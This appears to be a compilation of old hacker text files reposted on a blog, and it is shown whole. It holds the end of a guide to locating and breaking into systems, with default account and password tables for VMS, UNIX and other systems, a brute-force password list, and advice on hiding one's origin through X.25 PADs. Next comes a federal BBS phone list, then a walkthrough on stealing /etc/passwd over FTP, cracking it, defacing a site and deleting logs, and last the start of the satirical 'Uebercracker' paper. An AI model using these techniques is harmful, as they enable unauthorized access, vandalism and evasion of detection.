which will be the one the person using it before you typed. Write down the
number, as no one would be calling a number without a computer on it. This
is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D'
for Display and it will display the five numbers stored as macros in the
modem's memory.
There are also different types of servers for remote Local Area Networks
(LAN) that have many machine all over the office or the nation connected to
them. I'll discuss identifying these later in the computer ID section.
And finally, you may connect to something that says 'X.25 Communication
PAD' and then some more stuff, followed by a new @ prompt. This is a PAD
just like the one you are on, except that all attempted connections are billed
to the PAD, allowing you to connect to those nodes who earlier refused collect
connections.
This also has the added bonus of confusing where you are connecting from.
When a packet is transmitted from PAD to PAD, it contains a header that has
the location you're calling from. For instance, when you first connected
to Telenet, it might have said 212 44A CONNECTED if you called from the 212
area code. This means you were calling PAD number 44A in the 212 area.
That 21244A will be sent out in the header of all packets leaving the PAD.
Once you connect to a private PAD, however, all the packets going out
from *it* will have it's address on them, not yours. This can be a valuable
buffer between yourself and detection.

Phone Scanning
~~~~~~~~~~~~~~
Finally, there's the time-honored method of computer hunting that was made
famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie
Wargames. You pick a three digit phone prefix in your area and dial every
number from 0000 --> 9999 in that prefix, making a note of all the carriers
you find. There is software available to do this for nearly every computer
in the world, so you don't have to do it by hand.

Part Three: I've Found a Computer, Now What?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This next section is applicable universally. It doesn't matter how you
found this computer, it could be through a network, or it could be from
carrier scanning your High School's phone prefix, you've got this prompt
this prompt, what the hell is it?
I'm *NOT* going to attempt to tell you what to do once you're inside of
any of these operating systems. Each one is worth several G-files in its
own right. I'm going to tell you how to identify and recognize certain
OpSystems, how to approach hacking into them, and how to deal with something
that you've never seen before and have know idea what it is.

VMS- The VAX computer is made by Digital Equipment Corporation (DEC),
and runs the VMS (Virtual Memory System) operating system.
VMS is characterized by the 'Username:' prompt. It will not tell
you if you've entered a valid username or not, and will disconnect
you after three bad login attempts. It also keeps track of all
failed login attempts and informs the owner of the account next time
s/he logs in how many bad login attempts were made on the account.
It is one of the most secure operating systems around from the
outside, but once you're in there are many things that you can do
to circumvent system security. The VAX also has the best set of
help files in the world. Just type HELP and read to your heart's
content.
Common Accounts/Defaults: [username: password [[,password]] ]
SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB
OPERATOR: OPERATOR
SYSTEST: UETP
SYSMAINT: SYSMAINT or SERVICE or DIGITAL
FIELD: FIELD or SERVICE
GUEST: GUEST or unpassworded
DEMO: DEMO or unpassworded
DECNET: DECNET

DEC-10- An earlier line of DEC computer equipment, running the TOPS-10
operating system. These machines are recognized by their
'.' prompt. The DEC-10/20 series are remarkably hacker-friendly,
allowing you to enter several important commands without ever
logging into the system. Accounts are in the format [xxx,yyy] where
xxx and yyy are integers. You can get a listing of the accounts and
the process names of everyone on the system before logging in with
the command .systat (for SYstem STATus). If you seen an account
that reads [234,1001] BOB JONES, it might be wise to try BOB or
JONES or both for a password on this account. To login, you type
.login xxx,yyy and then type the password when prompted for it.
The system will allow you unlimited tries at an account, and does
not keep records of bad login attempts. It will also inform you
if the UIC you're trying (UIC = User Identification Code, 1,2 for
example) is bad.
Common Accounts/Defaults:
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES

UNIX- There are dozens of different machines out there that run UNIX.
While some might argue it isn't the best operating system in the
world, it is certainly the most widely used. A UNIX system will
usually have a prompt like 'login:' in lower case. UNIX also
will give you unlimited shots at logging in (in most cases), and
there is usually no log kept of bad attempts.
Common Accounts/Defaults: (note that some systems are case
sensitive, so use lower case as a general rule. Also, many times
the accounts will be unpassworded, you'll just drop right in!)
root: root
admin: admin
sysadmin: sysadmin or admin
unix: unix
uucp: uucp
rje: rje
guest: guest
demo: demo
daemon: daemon
sysbin: sysbin

Prime- Prime computer company's mainframe running the Primos operating
system. The are easy to spot, as the greet you with
'Primecon 18.23.05' or the like, depending on the version of the
operating system you run into. There will usually be no prompt
offered, it will just look like it's sitting there. At this point,
type 'login <username>'. If it is a pre-18.00.00 version of Primos,
you can hit a bunch of ^C's for the password and you'll drop in.
Unfortunately, most people are running versions 19+. Primos also
comes with a good set of help files. One of the most useful
features of a Prime on Telenet is a facility called NETLINK. Once
you're inside, type NETLINK and follow the help files. This allows
you to connect to NUA's all over the world using the 'nc' command.
For example, to connect to NUA 026245890040004, you would type
@nc :26245890040004 at the netlink prompt.
Common Accounts/Defaults:
PRIME PRIME or PRIMOS
PRIMOS_CS PRIME or PRIMOS
PRIMENET PRIMENET
SYSTEM SYSTEM or PRIME
NETLINK NETLINK
TEST TEST
GUEST GUEST
GUEST1 GUEST

HP-x000- This system is made by Hewlett-Packard. It is characterized by the
':' prompt. The HP has one of the more complicated login sequences
around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'.
Fortunately, some of these fields can be left blank in many cases.
Since any and all of these fields can be passworded, this is not
the easiest system to get into, except for the fact that there are
usually some unpassworded accounts around. In general, if the
defaults don't work, you'll have to brute force it using the
common password list (see below.) The HP-x000 runs the MPE operat-
ing system, the prompt for it will be a ':', just like the logon
prompt.
Common Accounts/Defaults:
MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB
MGR.HPOFFICE,PUB unpassworded
MANAGER.ITF3000,PUB unpassworded
FIELD.SUPPORT,PUB user: FLD, others unpassworded
MAIL.TELESUP,PUB user: MAIL, others
unpassworded
MGR.RJE unpassworded
FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded
MGR.TELESUP,PUB,HPONLY,HP3 unpassworded

IRIS- IRIS stands for Interactive Real Time Information System. It orig-
inally ran on PDP-11's, but now runs on many other minis. You can
spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner,
and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking
in, and keeps no logs of bad attempts. I don't know any default
passwords, so just try the common ones from the password database
below.
Common Accounts:
MANAGER
BOSS
SOFTWARE
DEMO
PDP8
PDP11
ACCOUNTING

VM/CMS- The VM/CMS operating system runs in International Business Machines
(IBM) mainframes. When you connect to one of these, you will get
message similar to 'VM/370 ONLINE', and then give you a '.' prompt,
just like TOPS-10 does. To login, you type 'LOGON <username>'.
Common Accounts/Defaults are:
AUTOLOG1: AUTOLOG or AUTOLOG1
CMS: CMS
CMSBATCH: CMS or CMSBATCH
EREP: EREP
MAINT: MAINT or MAINTAIN
OPERATNS: OPERATNS or OPERATOR
OPERATOR: OPERATOR
RSCS: RSCS
SMART: SMART
SNA: SNA
VMTEST: VMTEST
VMUTIL: VMUTIL
VTAM: VTAM

NOS- NOS stands for Networking Operating System, and runs on the Cyber
computer made by Control Data Corporation. NOS identifies itself
quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE
SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you
will get will be FAMILY:. Just hit return here. Then you'll get
a USER NAME: prompt. Usernames are typically 7 alpha-numerics
characters long, and are *extremely* site dependent. Operator
accounts begin with a digit, such as 7ETPDOC.
Common Accounts/Defaults:
$SYSTEM unknown
SYSTEMV unknown

Decserver- This is not truly a computer system, but is a network server that
has many different machines available from it. A Decserver will
say 'Enter Username>' when you first connect. This can be anything,
it doesn't matter, it's just an identifier. Type 'c', as this is
the least conspicuous thing to enter. It will then present you
with a 'Local>' prompt. From here, you type 'c <systemname>' to
connect to a system. To get a list of system names, type
'sh services' or 'sh nodes'. If you have any problems, online
help is available with the 'help' command. Be sure and look for
services named 'MODEM' or 'DIAL' or something similar, these are
often outdial modems and can be useful!

GS/1- Another type of network server. Unlike a Decserver, you can't
predict what prompt a GS/1 gateway is going to give you. The
default prompt it 'GS/1>', but this is redifinable by the
system administrator. To test for a GS/1, do a 'sh d'. If that
prints out a large list of defaults (terminal speed, prompt,
parity, etc...), you are on a GS/1. You connect in the same manner
as a Decserver, typing 'c <systemname>'. To find out what systems
are available, do a 'sh n' or a 'sh c'. Another trick is to do a
'sh m', which will sometimes show you a list of macros for logging
onto a system. If there is a macro named VAX, for instance, type
'do VAX'.

The above are the main system types in use today. There are
hundreds of minor variants on the above, but this should be
enough to get you started.

Unresponsive Systems
~~~~~~~~~~~~~~~~~~~~
Occasionally you will connect to a system that will do nothing but sit
there. This is a frustrating feeling, but a methodical approach to the system
will yield a response if you take your time. The following list will usually
make *something* happen.
1) Change your parity, data length, and stop bits. A system that won't re-
spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term
program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE,
with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one.
While having a good term program isn't absolutely necessary, it sure is
helpful.
2) Change baud rates. Again, if your term program will let you choose odd
baud rates such as 600 or 1100, you will occasionally be able to penetrate
some very interesting systems, as most systems that depend on a strange
baud rate seem to think that this is all the security they need...
3) Send a series of <cr>'s.
4) Send a hard break followed by a <cr>.
5) Type a series of .'s (periods). The Canadian network Datapac responds
to this.
6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does
a MultiLink II.
7) Begin sending control characters, starting with ^A --> ^Z.
8) Change terminal emulations. What your vt100 emulation thinks is garbage
may all of a sudden become crystal clear using ADM-5 emulation. This also
relates to how good your term program is.
9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO,
JOIN, HELP, and anything else you can think of.
10) If it's a dialin, call the numbers around it and see if a company
answers. If they do, try some social engineering.

Brute Force Hacking
~~~~~~~~~~~~~~~~~~~
There will also be many occasions when the default passwords will not work
on an account. At this point, you can either go onto the next system on your
list, or you can try to 'brute-force' your way in by trying a large database
of passwords on that one account. Be careful, though! This works fine on
systems that don't keep track of invalid logins, but on a system like a VMS,
someone is going to have a heart attack if they come back and see '600 Bad
Login Attempts Since Last Session' on their account. There are also some
operating systems that disconnect after 'x' number of invalid login attempts
and refuse to allow any more attempts for one hour, or ten minutes, or some-
times until the next day.
The following list is taken from my own password database plus the data-
base of passwords that was used in the Internet UNIX Worm that was running
around in November of 1988. For a shorter group, try first names, computer
terms, and obvious things like 'secret', 'password', 'open', and the name
of the account. Also try the name of the company that owns the computer
system (if known), the company initials, and things relating to the products
the company makes or deals with.

Password List
=============

aaa daniel jester rascal
academia danny johnny really
ada dave joseph rebecca
adrian deb joshua remote
aerobics debbie judith rick
airplane deborah juggle reagan
albany december julia robot
albatross desperate kathleen robotics
albert develop kermit rolex
alex diet kernel ronald
alexander digital knight rosebud
algebra discovery lambda rosemary
alias disney larry roses
alpha dog lazarus ruben
alphabet drought lee rules
ama duncan leroy ruth
amy easy lewis sal
analog eatme light saxon
anchor edges lisa scheme
andy edwin louis scott
andrea egghead lynne scotty
animal eileen mac secret
answer einstein macintosh sensor
anything elephant mack serenity
arrow elizabeth maggot sex
arthur ellen magic shark
asshole emerald malcolm sharon
athena engine mark shit
atmosphere engineer markus shiva
bacchus enterprise marty shuttle
badass enzyme marvin simon
bailey euclid master simple
banana evelyn maurice singer
bandit extension merlin single
banks fairway mets smile
bass felicia michael smiles
batman fender michelle smooch
beauty fermat mike smother
beaver finite minimum snatch
beethoven flower minsky snoopy
beloved foolproof mogul soap
benz football moose socrates
beowulf format mozart spit
berkeley forsythe nancy spring
berlin fourier napoleon subway
beta fred network success
beverly friend newton summer
bob frighten next super
brenda fun olivia support
brian gabriel oracle surfer
bridget garfield orca suzanne
broadway gauss orwell tangerine
bumbling george osiris tape
cardinal gertrude outlaw target
carmen gibson oxford taylor
carolina ginger pacific telephone
caroline gnu painless temptation
castle golf pam tiger
cat golfer paper toggle
celtics gorgeous password tomato
change graham pat toyota
charles gryphon patricia trivial
charming guest penguin unhappy
charon guitar pete unicorn
chester hacker peter unknown
cigar harmony philip urchin
classic harold phoenix utility
coffee harvey pierre vicky
coke heinlein pizza virginia
collins hello plover warren
comrade help polynomial water
computer herbert praise weenie
condo honey prelude whatnot
condom horse prince whitney
cookie imperial protect will
cooper include pumpkin william
create ingres puppet willie
creation innocuous rabbit winston
creator irishman rachmaninoff wizard
cretin isis rainbow wombat
daemon japan raindrop yosemite
dancer jessica random zap

Part Four: Wrapping it up!
~~~~~~~~~~~~~~~~~~~~~~~~~~
I hope this file has been of some help in getting started. If you're
asking yourself the question 'Why hack?', then you've probably wasted a lot
of time reading this, as you'll never understand. For those of you who
have read this and found it useful, please send a tax-deductible donation
of $5.00 (or more!) in the name of the Legion of Doom to:
The American Cancer Society
90 Park Avenue
New York, NY 10016

******************************************************************************
References:
1) Introduction to ItaPAC by Blade Runner
Telecom Security Bulletin #1
2) The IBM VM/CMS Operating System by Lex Luthor
The LOD/H Technical Journal #2
3) Hacking the IRIS Operating System by The Leftist
The LOD/H Technical Journal #3
4) Hacking CDC's Cyber by Phrozen Ghost
Phrack Inc. Newsletter #18
5) USENET comp.risks digest (various authors, various issues)
6) USENET unix.wizards forum (various authors)
7) USENET info-vax forum (various authors)

Recommended Reading:
1) Hackers by Steven Levy
2) Out of the Inner Circle by Bill Landreth
3) Turing's Man by J. David Bolter
4) Soul of a New Machine by Tracy Kidder
5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all
by William Gibson
6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley,
California, 94704, 415-995-2606
7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find.

Acknowledgements:
Thanks to Lyly for putting up with me.
Thanks to the various security personel who were willing to talk to
me about how they operate.

A List Of Government BBS Numbers

2013-01-31T00:36:00.000+07:00

FEDERAL GOVERNMENT BULLETIN BOARD SYSTEMS (Last Updated: 8/23/94)

OPM BBSs:
~~~~~~~~
MAINSTREET............. (202) 606-4800
Fed Pers & Job Info from
OPM's Agencywide BBS
Federal Jobline......... (818) 575-6521
Fed Pers & Job Info from
OPM's Western Region BBS
Fed Job Opp Board (FJOB) (912) 757-3100
Fed Pers & Job Info from
OPM's Macon, GA Service Ctr
FEDJOBS................. (215) 580-2216
Fed Pers & Job Info from
OPM's Philadelphia Region BBS
PayPerNet#1 ............ (202) 606-2675
Fed. Pay & Per. Mgmt Info
from OPM (Line #1)
PayPerNet#2 ............ (202) 606-1876
Fed. Pay & Per. Mgmt Info
from OPM (Line #2)
WASNET ................. (202) 606-1113
OPM Wash Area Serv Ctr BBS;
phone first: 202-606-1848

OTHER FEDERAL BBSs:
~~~~~~~~~~~~~~~~~~
AGRICULTURE DEPT
Agriculture Library 301-504-6510/301-504-5496
Biological Impact Assessment 703-231-3858/800-624-2723
Commercial Information Delivery Service (Must subscribe first:
202-720-5505)
Economic Research Service 800-821-6229
Human Nutrition Information Service 301-436-5078
IndiaNET (USDA & EPA) 605-393-0468

AIR FORCE DEPT
Air Force Small Business BBS 800-821-6229 (type SIGNUP)
Small Computer Support Center 406-731-2503
ULANA BBS (AF Engrg Installation) 405-736-0928
ULANA II (AF Engrg Installation) 405-741-0824
Competition Advocate (AF Space Command) (Call voice first:
719-554-5325)
Standard Systems Center 205-416-5651
Hill AFB 801-774-6509

Argonne National Laboratory 708-252-8241

ARMY DEPT
Integration & Analysis Center (IMA) 703-285-6400/6401
Automated Specification Criteria (Corps 916-557-7997/800-445-8644
of Engrs)
Data Distribution System (Engrg & 703-355-2185
Housing Supp Ctr)
Morale, Welfare, and Recreation (MDW) 202-475-7543
Software Engrg Support BBS (Army Sfw Ctr) 703-285-9637

Bureau of Mines (Minerals production) 202-501-0373

Bureau of Prisons 202-514-6102

CENSUS BUREAU
Census BEA Electronic Forum 301-763-7554
Census Personnel BBS 301-763-4574

COAST GUARD
Coast Guard Online Magazine & News 202-267-4644
Global Positioning System BBS 703-866-3894/703-313-5910

COMMERCE DEPT
Radio Frequency Mgmt Issues (NTIA) 202-482-1199
Economic BBS 202-482-3870
Planning & Budget BBS 202-482-1423

Customs Service 703-440-6155

DC Government 202-727-6668

DEFENSE DEPT
ADA Information Clearinghouse 703-614-0215
Export License I 703-697-6109
DISA Acquisition Clearinghouse 618-256-9200
DISA Info Technology Acquisition 618-744-8787
DOD IGNet 703-604-5768

Defense Logistics Agency DASC-ZE BBS 703-274-5863

Defense Mapping Agency NAVINFONET BBS 301-227-4424
(Marine advisories)

Defense Technology Security Admin ELISA I 703-697-6109
(Export license status)

EDUCATION DEPT
Educational Research & Improvement 202-219-2011
National Education BBS 800-222-4922/202-219-1511

ENERGY DEPT
Megawatts 202-586-0739
Civilian Radioactive Waste Mgmt Infolink (Call voice first:
800-225-6972)
Energy Information Admin BA BBS 202-586-2557
Office of Fossil Energy FE Telenews 202-586-6496
Office of Minority Economic Impact 800-543-2325/202-586-1561

ENVIRONMENTAL PROTECTION AGENCY (EPA)
EPA Region 4 404-347-1767
EPA Region 10 206-553-2241
Alternative Treatment Tech Info 301-670-3813/3808
Center (ATTIC)
Wetlands, Oceans, & Watersheds 301-589-0205
Pesticide Information Network 703-305-5919
Pollution Prevention BBS 800-658-8815/703-506-1025
Research & Development BBS 513-569-7610/800-258-9605
Technology Transfer Network 919-541-1447/919-541-5742
Cleanup Information 301-589-8366
Solid Waste Management 800-544-1936
EPA/NOAA Gulfline 800-235-4662/601-688-2677
Ocean & Coastal Protection 202-260-8482
Division CoastNet
Online Library System (OLS) 919-549-0700 (2400)
(NOTE: 7-E-1 HALF Duplex) 919-549-0720 (9600)
Office of Air Quality Planning 919-541-1325
Center for Exposure Assessment Modeling 706-546-3402

Export-Import Bank - EXIMBANK BBS 202-566-4699

FEDERAL AVIATION ADMINISTRATION
Air Traffic Operations Service 202-267-5331
Air Transport Division 202-267-5231
FAA Airports 202-267-5205
FAA Headquarters BBS 202-267-5697
Navigation & Landing 202-267-6547
Office of Environment & Energy 202-267-9647
FAA Safety Exchange 800-426-3814
Orlando Flight Service District 407-648-6309
Office Pilot Examiner 405-684-4530/405-954-4530
Portland Master Minimum Equipment 207-780-3297
List

FEDERAL COMMUNICATIONS COMMISSION
FCC State Link 202-632-1361
FCC Public Access Link 301-725-1072

FEDERAL EMERGENCY MANAGEMENT AGENCY
Hazardous Materials 708-972-3275
State/Local Emergency Management 202-646-2887

Federal Energy Regulatory Commission:
Issuance Posting System 202-208-1397

Federal Highway Administration FEEBS 202-366-3764

Federal Information Exchange FEDIX 800-232-4879

FEDERAL RESERVE BANK
Dallas: Federal Reserve Economic Data 214-922-5199
Minneapolis: Electronic Database 612-340-2489
St. Louis: Federal Reserve Economic Data 314-621-1824

FEDERAL SUPPLY SERVICE
Automated Product Listing Service 703-305-6570
Multiuse File For Interagency News 202-205-3890

Food & Drug Administration 301-443-7496

Government Accounting Office GAO WATCHDOG 202-371-2455

GEOLOGICAL SURVEY
Quick Epicenter Determination 800-358-2663
Geological Survey BBS/CD-ROM Info 703-648-4168

Government Printing Office
FEDERAL BULLETIN BOARD 202-512-1387

GPS Global Positioning 703-866-3890

GENERAL SERVICES ADMINISTRATION
Cooperative Administrative Support 202-653-7516
Program
Consumer Information Center 202-208-7679
GSA Schedule 202-501-7254
Office of IRM OFIRM BBS 202-208-7484

HEALTH & HUMAN SERVICES DEPT
Administration for Children & Families 202-401-5800
National Institute on Alcohol Abuse 202-289-4112
Office of the Asst Secretary of Health 202-690-5423
Social Security Administration 410-965-1133
(Annual Wage Reporting BBS)
Social Security Administration 410-966-5051

Housing & Urban Development Dept 202-708-3563

INTERIOR DEPT
Fish & Wildlife Service 303-226-9365
Geological Survey 703-648-4168
Indian Health Service 401-443-9517
Office of Environmental Affairs 202-208-7119
Offshore Statistics & Information 703-787-1225

INTERNAL REVENUE SERVICE
ISM Support Information System 202-219-9977
Statistics of Income 202-874-9574
Martinsburg Info Reporting Project 304-263-2749

JUSTICE DEPT
Criminal Justice Reference Service 301-738-8895
SEARCH-BBS 916-392-4640

LABOR DEPT
Labor News 202-219-4784
Office of Public Affairs 202-523-4784

LIBRARY OF CONGRESS
News Service 202-707-3854
Automated Library Information 202-707-4888

Maritime Admin/Market Promotion 202-366-8505

NAPO/AIDS Info & Reports 202-690-5423

NATIONAL AERONAUTICS & SPACE ADMIN
Marshall Space Flight Ctr NASA SPACELINK 205-895-0028
NASA JSC Houston 713-483-5817
NASA JPL 818-354-1333

National Archives FREND (Fed. Register 202-275-0920
Electronic News Delivery)

NATIONAL INSTITUTE OF STANDARDS & TECHNOLOGY
Center for Fire Research 301-990-2272
Computer Security 301-948-5140/5717
Data Management Information 301-948-2059/2048
North American ISDN Users Forum 301-869-7281

National Institutes of Health
PC BULL 301-480-8400
NIH Information Center 301-480-5144

NATIONAL OCEANIC & ATMOSPHERIC ADMIN
Space Environment Lab 303-497-5000
Marine Data Computer 301-713-4573
Environmental Services Data Directory 205-606-4666
NOAA Library 303-497-5848
National Geo Data Center 303-497-7319

NATIONAL SCIENCE FOUNDATION
Fed. R&D, Tech Labor Market Stats 202-634-1764
Science & Technology Information 202-357-0359
System

National Tech. Info. Service (NTIS)
FEDWorld 703-321-8970/8020

National Tele. & Info Admin 202-482-1199

National Weather Service 301-899-0827

NAVY DEPT
IRM College Recruitment BBS 804-445-2104/804-843-4093
Online Automated System 804-445-1627
ADA Technical Support BBS 804-444-7841
Naval Reserve Force BBS 504-254-7776
JAGNet 703-325-0748
CINCLANTFLT BBS 804-445-1146
COMNAVSURFPAC/COMNAVAIRPAC 619-556-0135/0136
COMSUBLANT 804-445-8657
Defense Energy Information System (DEIS) 805-982-5300/805-984-0686
NAS Pax River (MilECHO MetroLink) 301-826-4805
Fleet Imaging BBS 804-433-2534
General Purpose Electronic Test Equipment 301-862-8048
(GPETE)
Naval Aviation Maintenance Office, 301-826-3626
Pax River
Naval Air Warfare Center, Indianapolis 317-351-4992
Naval Energy BBS 805-985-5062
Naval Justice School 401-841-3990
Pacific Missile Test Center 805-989-8722
SIMA, Portsmouth, VA 804-396-0158

Office of Government Ethics 202-523-1186

OFFICE OF PERSONNEL MANAGEMENT
OPM Mainstreet............. 202 606-4800
Fed Personnel Issues,
Policy, & Job Info from
OPM's Agencywide/Nationwide BBS
Federal Jobline......... 818 575-6521
Fed Pers & Job Info from
OPM's Western Region BBS
Fed Job Opp Board (FJOB) 912 757-3100
Fed Pers & Job Info from
OPM's Macon, GA Service Ctr
FEDJOBS................. 215 580-2216
Fed Pers & Job Info from
OPM's Philadelphia Region BBS
PayPerNet ............ 202 606-2675/1876
Fed. Pay & Per. Mgmt Info
from OPM
WASNET ................. 202 606-1113
OPM Wash Area Serv Ctr BBS;
phone first: 202-606-1848

SMALL BUSINESS ADMINISTRATION
SBA DC Metro 202-401-9600
SBA National 800-697-INFO
SBA Internal 202-205-6269

STATE DEPT
Automated License Status System 703-875-7350
Consular Affairs 202-647-9225
Passport Info/Travel Alerts 202-647-9225
PerManNet 703-715-9806

TREASURY DEPT/Financial Management Service
Inventory Rates 202-287-0767
Federal Bond Approvals 202-287-1295/202-874-7214

U.S. CONGRESS
Federal Whistleblower BBS 202-225-5527

U.S. COURTS
1st Circuit Court of Appeals 617-223-4640
4th Circuit Court of Appeals 804-771-8084
5th Circuit Court of Appeals 504-589-6850
6th Circuit Court of Appeals 513-684-2842
7th Circuit Court of Appeals 312-435-5560
8th Circuit Court of Appeals 314-539-3576
9th Circuit Court of Appeals 415-744-9022
U.S. District Court E Pennsylvania 215-597-0646

DEPARTMENT OF VETERANS AFFAIRS
American Veterans Network 410-761-3406
United States Veterans BBS 612-588-7563

A List of every TeleNet code that there is

2013-01-31T00:25:00.000+07:00

Error 404 .....That File Appears to Be Missing!

There Are 3 Possible We try to make sure
Reasons Why: that all of the files
are correctly linked on
* Hack-Net.Com is still the archives, but
debugging the site, sometimes we do make an
and it has been error. If you are
removed from the clicking on a file and
archive's to be this same page is
re-indexed!, if this appearing for more than
is the case then 3 days, then please
please wait a few days Email Us and tell us
until it is put back which file is not
up! working and it will be
* The File Never corrected. Without your
Existed, (meaning that feedback we cannot help
Hack-net.Com have made you in your quest for
a small error in the knowledge!
file name entry)
please Email Us if the Shannërz and the
file is still not Hack-Net.Com Team
available after 3
days.
* You made an error, or
were directed here
from another site
which made a mistake!,
if this is the case
then please email the
webmaster of the site
who directed you here.

Quick Links: Resources | Files | Texts | Members | Credits
| Help | Links

------------------------------------------------------------

Hack-Net.Com. 1997-1998.
Any Comments should be sent to: webmaster@hack-net.com

[Hack-Net.Com 1998]

A Guide to the Easiest Hacking there is

2013-01-31T00:17:00.000+07:00

_________ ___ _______
\~=._ _.=~/ / _____/ | | \ \ \~=._ _.=~/
\ ~=__=~ / \_____ \ | | / | \ \ ~=__=~ /
\_.=~ ~=._/ / \ | |/ | \ \_.=~ ~=._/
_.=~ \ / ~=._ /_______ / |___|\____|__ / .=~ \ / ~=.
L------\------/------7 \/ \/ L------\------/------7
\ / \ /
\ / http://www.khmermega.net \ /
\/ \/

OK, this is my mini guide to the easiest 'hacking' there is ( I think ) if any
one knows different then mail me and tell me :) .
Most FTP servers have the directory /pub which stores all the 'public' information
for you to download. But along side /pub you will probably find other directorys
such as /bin and /etc its the /etc directory which is important. In this directory
there is normally a file called passwd. . This looks something like this :-

root:7GHgfHgfhG:1127:20:Superuser
jgibson:7fOsTXF2pA1W2:1128:20:Jim Gibson,,,,,,,:/usr/people/jgibson:/bin/csh
tvr:EUyd5XAAtv2dA:1129:20:Tovar:/usr/people/tvr:/bin/csh
mcn:t3e.QVzvUC1T.:1130:20:Greatbear,,,,,,,:/usr/people/mcn:/bin/csh
mouse:EUyd5XAAtv2dA:1131:20:Melissa P.:/usr/people/mouse:/bin/csh
This is where all the user names and passwords are kept. For example, root is
the superuser and the rest are normal users on the site. The bit after the word
root or mcn such as in this example (EUyd5XAAtv2dA) is the password BUT it is
encrypted. So you use a password cracker....which you can d/l from numerous sites
which I will give some URL's to at the end of this document. With these password
crackers you will be asked to supply a passwd. file which you download from the
\etc directory of the FTP server and a dictionary file which the crackers progam
will go through and try to see if it can make any match. And as many people use
simple passwords you can use a 'normal' dictionary file. But when ppl REALLY don't
want you to break their machines they set their passwords to things such as GHTiCk45
which Random Word Generator will create (eventually ). Which is where programs such
as Random Word Generator come in. ( Sorry just pluging my software )
BTW the bad news is that new sites NORMALLY have password files which look like this :-
root:x:0:1:0000-Admin(0000):/:/sbin/sh
The x signifies shadowed - you can't use a cracker to crack it because there's nothing
there to crack, its hidden somewhere else that you can't get to. x is also represented
as a * or sometimes a . Ones like the top example are known as un-shadowed password
files normally found at places with .org domain or .net and prehaps even .edu sites.
(Also cough .nasa.gov cough sites).
If you want a normal dictionary file i recommend you go to
http://www.globalkos.org and download kOS Krack which
has a 3 MEG dictionary file. Then run a .passwd cracking program
such as jack the ripper or hades or killer crack ( I recommend ) against the
.passwd file and dictionary file. Depending upon the amount of passwords in
the .passwd file, the size of the dictionary file and the speed of the processor
it could be a lengthy process.
Eventually once you have cracked a password you need a basic knowledge of unix.
I have included the necassary commands to upload a different index.html file to
a server :-
Connect to a server through ftp prefably going through a few shells to hide your
host and login using the hacked account at the Login: Password: part.
Then once connected type
dir or list
If there's a directory called public_html@ or something similar change directory
using the Simple dos cd command ( cd public_html )
Then type binary to set the mode to binary transfer ( so you can send images if
necassary )
Then type put index.html or whatever the index file is called.
It will then ask which transfer you wish to use, Z-Modem is the best.
Select the file at your end you wish to upload and send it.
Thats it !
If you have root delete any log files too.
Please note that this process varys machine to machine.
To change the password file for the account ( very mean ) login in through telnet
and simply type passwd at the prompt and set the password for the account to anything
you wish.
Thats it....if ya don't understand it read it about 10x if ya still don't ask someone
else i am too busy with errrr stuff..
Links :-
http://www.sinnerz.com Where you got this I hope.
Stay cool and be somebodys fool everyone
Darkfool
darkfool@pancreas.com
http://www.sinnerz.com

A Guide to Internet Security: Becoming an Uebercracker

2013-01-31T00:15:00.002+07:00

A Guide to Internet Security: Becoming an Uebercracker
and Becoming an UeberAdmin to stop Uebercrackers.

Author: Christopher Klaus <cklaus@shadow.net>
Date: December 5th, 1993.
Version: 1.1

This is a paper will be broken into two parts, one showing 15 easy steps
to becoming a uebercracker and the next part showing how to become a
ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased
by Dan Farmer to refer to some elite (cr/h)acker that is practically
impossible to keep out of the networks.

Here's the steps to becoming a uebercracker.

Step 1. Relax and remain calm. Remember YOU are a Uebercracker.

Step 2. If you know a little Unix, you are way ahead of the crowd and skip
past step 3.

Step 3. You may want to buy Unix manual or book to let you know what
ls,cd,cat does.

Step 4. Read Usenet for the following groups: alt.irc, alt.security,
comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background
in uebercracker culture.

Step 5. Ask on alt.irc how to get and compile the latest IRC client and
connect to IRC.

Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way
there!)

Step 7. Now, sit on #hack and send messages to everyone in the channel
saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks
questions like "Why cant I join #warez?"

Step 8. (Important Step) Send private messages to everyone asking for new
bugs or holes. Here's a good pointer, look around your system for binary
programs suid root (look in Unix manual from step 3 if confused). After
finding a suid root binary, (ie. su, chfn, syslog), tell people you have a
new bug in that program and you wrote a script for it. If they ask how it
works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask
them to trade for their get-root scripts.

Step 9. Make them send you some scripts before you send some garbage file
(ie. a big core file). Tell them it is encrypted or it was messed up and
you need to upload your script again.

Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be
obnoxious on #hack otherwise people will look down on you and not give you
anything.)

Step 11. Hopefully you will now have atleast one or two scripts that get
you root on most Unixes. Grab root on your local machines, read your
admin's mail, or even other user's mail, even rm log files and whatever
temps you. (look in Unix manual from step 3 if confused).

Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the
same test). Email your admin how "layme" he is and how you got root and how
you erased his files, and have it appear coming from satan@evil.com.

